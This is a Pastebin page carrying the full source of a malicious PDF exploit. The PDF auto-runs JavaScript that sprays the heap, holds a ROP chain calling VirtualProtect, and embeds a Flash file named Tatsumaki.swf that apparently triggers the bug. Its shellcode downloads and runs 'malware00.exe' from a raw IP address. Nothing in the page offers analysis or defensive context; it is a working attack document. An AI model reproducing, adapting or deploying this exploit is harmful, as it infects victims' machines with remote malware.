Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- %PDF-1.5
- %âãÏÓ
- 1 0 obj
- <<
- /OpenAction 2 0 R
- /Pages 3 0 R
- /AcroForm 4 0 R
- /Type /Catalog
- >>
- endobj
- 3 0 obj
- <<
- /Kids [5 0 R]
- /Count 1
- /Type /Pages
- >>
- endobj
- 5 0 obj
- <<
- /Parent 3 0 R
- /Annots [6 0 R]
- /MediaBox [0 0 612 792]
- /pdftk_PageNum 1
- /Type /Page
- >>
- endobj
- 2 0 obj
- <<
- /JS 7 0 R
- /Type /Action
- /S /JavaScript
- >>
- endobj
- 7 0 obj
- <<
- /Length 7614
- >>
- stream
- ///////////////////////////////////// PADDING /////////////////////////////////////
- var Shellcode = unescape(
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- ///////////////////////////////////// ROP ////////////////////////////////////
- "%u64a6%u4a80" + // [0x11111110] --> 0x4a8064a6 : # ADD ESP,0c # RETN
- "%u0000%u0000" + // eax+0x4 : NOP
- "%u1eb7%u4a81" + // eax+0x8 -> EIP --> 0x4a811eb7 : #POP EBP # OR BYTE PTR DS:[EDI], CL # XCHG EAX,ESP # RETN (then ESP = 0x11111110)
- "%u0000%u0000" + // eax+0xC : NOP
- "%u7984%u4a81" + // eax + 0x4 + 0x0c --> 0x4A817984 : #XCHG EAX,EBP # RETN
- "%u63a5%u4a80" + //0x4A8063A5 : #POP ECX # RET
- "%udbbf%u0028" + // Become ECX
- "%u30f4%u4a82" + //0x4A8230F4 : #ADD EAX,ECX # RET
- "%ua7d8%u4a80" + //0x4A80A7D8 : #MOV EAX, DWORD PTR DS:[EAX] # RET (now EAX point to VirtualProtect() )
- "%u6fd9%u4a81" + //0x4A816FD9 : #JMP[EAX] (JMP VirtualProtect() )
- "%u1200%u1111" + // return address (ptr to Shellcode)
- "%u1200%u1111" + // lpAdress (ptr to Shellcode)
- "%u0400%u0000" + // dwSize (0x400 = 1024 )
- "%u0040%u0000" + // flNewProtect (0x40)
- "%u0000%u4a8a" + // lpflOldProtect (0x4a8a0000 - writeable )
- ///////////////////////////////////// NOP /////////////////////////////////////
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- "%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141" +
- ///////////////////////////////////// SHELLCODE /////////////////////////////////////
- // Shellcode download & execute : http://119.160.151.228/malware00.exe
- "%uEBFC%u3156%u64F6%u768B%u8B30%u0C76%u768B%u8B1C%u086E%u368B%u5D8B%u8B3C%u1D5C%u0178%u8BEB%u144B%uE367%u8BEC%u184B%uE367%u8BE6%u207B%uEF01%u7C8B%uFC8F%uEF01%uC031%u0299%uC117%u04CA%u75AE%u3BF8%u2454%uE004%u75E4%u8BC8%u2453%uEA01%uB70F%u4A14%u7B8B%u011C%u03EF%u972C%u68C3%u488E%u638B%uA0E8%uFFFF%u66FF%u6CB8%u506C%u6F68%u2E6E%u6864%u7275%u6D6C%uFF54%u68D5%u2B83%uF676%u84E8%uFFFF%uEBFF%u5021%uD5FF%uE768%uCCC4%uE869%uFF75%uFFFF%u4C50%u4C4C%uFF4C%u68D5%uA677%u2A60%u64E8%uFFFF%u50FF%uD5FF%u6850%u652E%u6578%u4368%u5C3A%u5078%u8950%u80E3%u08C3%uE853%uFFC7%uFFFF%u7468%u7074%u2f3a%u312f%u3931%u312e%u3036%u312e%u3135%u322e%u3832%u6d2f%u6c61%u6177%u6572%u3030%u652e%u6578"
- );
- var SprayNop = unescape( "%u0000%u0000" );
- while (SprayNop.length + 20 + 8 < 65536)
- SprayNop += SprayNop;
- SpraySlide = SprayNop.substring(0, (0x0c0c-0x24)/2);
- SpraySlide += Shellcode;
- SpraySlide += SprayNop;
- SprayData = SpraySlide.substring(0, 65536/2);
- while(SprayData.length < 0x80000)
- SprayData += SprayData;
- Absolute = SprayData.substring(0, 0x80000 - (0x1020-0x08) / 2);
- var SprayMemory = new Array();
- for( i = 0 ; i < 0x1f0 ; i++)
- SprayMemory[i] = Absolute + "O";
- endstream
- endobj
- 4 0 obj
- <<
- /XFA 8 0 R
- >>
- endobj
- 8 0 obj
- <<
- /Length 372
- >>
- stream
- <?xml version="1.0" encoding="UTF-8"?>
- <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
- <config xmlns="http://www.xfa.org/schema/xci/2.6/">
- <present><pdf><interactive>1</interactive></pdf></present>
- </config>
- <template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">
- <subform name="form1" layout="tb" locale="en_US">
- <pageSet></pageSet>
- </subform></template></xdp:xdp>
- endstream
- endobj
- 6 0 obj
- <<
- /NM (Tatsumaki.swf)
- /Subtype /RichMedia
- /RichMediaSettings 9 0 R
- /RichMediaContent 10 0 R
- /Type /Annot
- /Rect [20 20 187 69]
- >>
- endobj
- 9 0 obj
- <<
- /Subtype /Flash
- /Deactivation 11 0 R
- /Activation 12 0 R
- /Type /RichMediaSettings
- >>
- endobj
- 10 0 obj
- <<
- /Configurations [13 0 R]
- /Assets 14 0 R
- /Type /RichMediaContent
- >>
- endobj
- 12 0 obj
- <<
- /Condition /PO
- /Type /RichMediaActivation
- >>
- endobj
- 11 0 obj
- <<
- /Condition /XD
- /Type /RichMediaDeactivation
- >>
- endobj
- 14 0 obj
- <<
- /Names [(Tatsumaki.swf) 15 0 R]
- >>
- endobj
- 15 0 obj
- <<
- /EF
- <<
- /F 16 0 R
- >>
- /F (Tatsumaki.swf)
- /Type /Filespec
- >>
- endobj
- 13 0 obj
- <<
- /Instances [17 0 R]
- /Subtype /Flash
- /Type /RichMediaConfiguration
- >>
- endobj
- 17 0 obj
- <<
- /Subtype /Flash
- /Asset 15 0 R
- /Type /RichMediaInstance
- >>
- endobj
- 16 0 obj
- <<
- /Length 2247
- /Type /EmbeddedFile
- >>
- stream
- CWS
- e
- \00\00xÚ}VKo[ÇŸIœ-ÇâÈI Œ±Åy?Gè<ÛmÔ@Q0 €,Ö4)%¯jý!^õ't[ »¢ÅF®»Ê¿P¿+9~€E ŒwæÌsŸóoæŽûwQ¬þ¹(nEŒúiQžö²(îOzÛ¿yóôép4ÝÆÛWwg³£ívûäädëo'ÛÔZÛ&¬ÍØ=XÜ>Í:§÷FÓ/ïì\8ýiw28
- Æ£Íꜳ?>}uçίœî[§GÇá Ë^·ÝööG³inQ8êu·Æ§ÙNçèh8èv*wíÓ{ÓÃq÷ÉIçYÿÞÁ°3=Œß~gX
- fÃþë÷ûyØ?ÝîÝúëKÊž÷.Ð÷ÒìT«·ºã§í£ÉžwÜELpu±øý%£ãýá`zØìÆ'[Œlº~g6þÐâ±j~Ø=>î<îï€_]Ìœ}¿±3ëïü²ó|»PzF5z¿ý#Žß ;E\ûŸ~¿µóóóß-ÖQá&þç]]\|þÒøöÿ}ñÁ`öðhÒy^üõúÖRQ`¬8töi±VlUŠ·.Þ:
- Óÿ|ÖwÊŸùp6Ïÿà`åÒ¬7
- ;ÏÌúËGHäãN/
- çû§³ñþ`ô§5Á¥ž$øhRššäJRÁ×>ŠœV1&ã§ÜI+šQ©Zàb§Ä¡°óäèC!PìcÆê,µªŒ +é¥WÄ1ˬIÑhøbÆPÍ¡X#(A¥àÂ:ah`*q£yØKcà5Pg¢±Å8'1ðgÔQe8â°!kÁjá¥è¢aI+kH ¢± óÑëáÀ?#ŠWLfE¡eŽÄL1ÚY®2A°Yà ªÀ$G,vÊpK¢âL9ngwJi°ÊâU®#<se9y+£4$eâñÁRJ0cµµBêtáÇ`ÀG¹7Âhf²1e<uÒhSE&sÍ5Jku6+'êLåÜK<¥Æ3Š÷ÌxáEJḬ̂)éŒÌÚ$mÂÈYÑHK¢#LÉåÈ,G+mBí£°"FÏ@5Èya*ÒsTT°@ÕÞB}@Æa¹Ö`CLÄ`9ÂÒ^¹$aøRÙ9£TÔ2P-u>«HÁfϰœõ`%)è\00Ô3°P(ZÅ¢3dËœb:9C23(×ÙR@ŽÖqïµØ:ÚmŽÄc PH¶cRëHHc:³àOsD!GQ-ÀwŒ+Î
- "UÓE/C
- !Hs±P .ªL$-6[i€DÃçD€ ¹b^QíœHIdEÀ^k4wM²\00¯ÑA["k1RUµ\00/8šøF¶Ê&<ÉHÝ
- !hYàr¢£$ñ@BY²A£.P"]¢R":ÃŽr«úÔ&k)cž[äÇ CKŽBðVäÁ'ŽZËPª8PLÖ8-(õ®igÅùG&©Î䲡º,¡.\00: [ûD£ GcdTÄsYT&²vxb)L¢)\00'ÕAŸH²I÷<A\00wh\3ÊR_mVM ŒJàÍ1fä,TáðPÎT\r&\fNøeç¡»FJoâe:KŒe1bº¬¶:0 O8Q%pÐ]jíS:\00àÉ2«nbàLðH9
- (ÇÕÖÉQs¥Þ\xÒ\00«³DŸ]ÑÙÔDHd^T*šo0VžD#HÆàÀAç7ÞKçšeÙ $ØcÀtHÔÎ+!ä£ ¡qΡñ:AalV
- Àèáì ß!Vg°e(2þÖ3,^hïŒSà£V$€âÍmT¢b3d \00J&Ã'%\00³
- Ù4VB€Ã^8G(εš g Q9aSÈÒF§PÂ6fèD/GÃ@é§ Y flRDPgŠ$pïàÖEͲÊh9ç}ÕqWIÜâ £ÈÒèx 3tRnV÷þdaêZ1ýâÍ%ìÝÌ=ämFjï³ÁèúwíË;ÆíãåïîþïûÝYãr:õ'·>4úz4ëO:ÝÙàYÿÒðæÿqòÙå\ÿYu?ÝNÕO5ßuqÅk^ÚÌwzœp8öX85.îH5r:wt<=lû£Ç³Ãå÷ý\ù¶Œú_®ÿ®ëõõæÆ'õFÑ(æW6«W6Ö6®n|Žqm}£¶ÚlÔ[µù¹ Å¥åÕ+×[eUkÕz«Õo5Zõ¥ å²U»ÞÿžU[¿Y¶æoŽj¶j×Zk7[õÏZõÏ[õ4÷>eYûá©>·0WµFYÔe«f9±ÁåüBýü¬2/ÏÈÙ×ÅÙn£ÀH6ÏÈÝÅoÏŸÉÍòEùÏGâßœ~µ;_>Zxœ»P®Þh-,>9#Êe£oîÖóbùbé»ß/ºs·ncíVQ,ìÏÝýäõ~ã`ù%Ÿo/ñ°»Râ±örÚmì7^¬~ü¯ósØ7×Vaÿj¿¹?·ß<Xî,ÿY=cþûóóW?Ç-¹À¿<#ýbï
- Ù[#{WÉÞGdïÙÃßoÏ/>uD·rº/¿œBÿ/ÿ9a^
- endstream
- endobj xref
- 0 18
- 0000000000 65535 f
- 0000000015 00000 n
- 0000000265 00000 n
- 0000000100 00000 n
- 0000009155 00000 n
- 0000000159 00000 n
- 0000009615 00000 n
- 0000000327 00000 n
- 0000009189 00000 n
- 0000009762 00000 n
- 0000009866 00000 n
- 0000010020 00000 n
- 0000009954 00000 n
- 0000010224 00000 n
- 0000010088 00000 n
- 0000010144 00000 n
- 0000010393 00000 n
- 0000010314 00000 n
- trailer
- <<
- /Root 1 0 R
- /Size 18
- >>
- startxref
- 12715
- %%EOF
Advertisement
Add Comment
Please, Sign In to add comment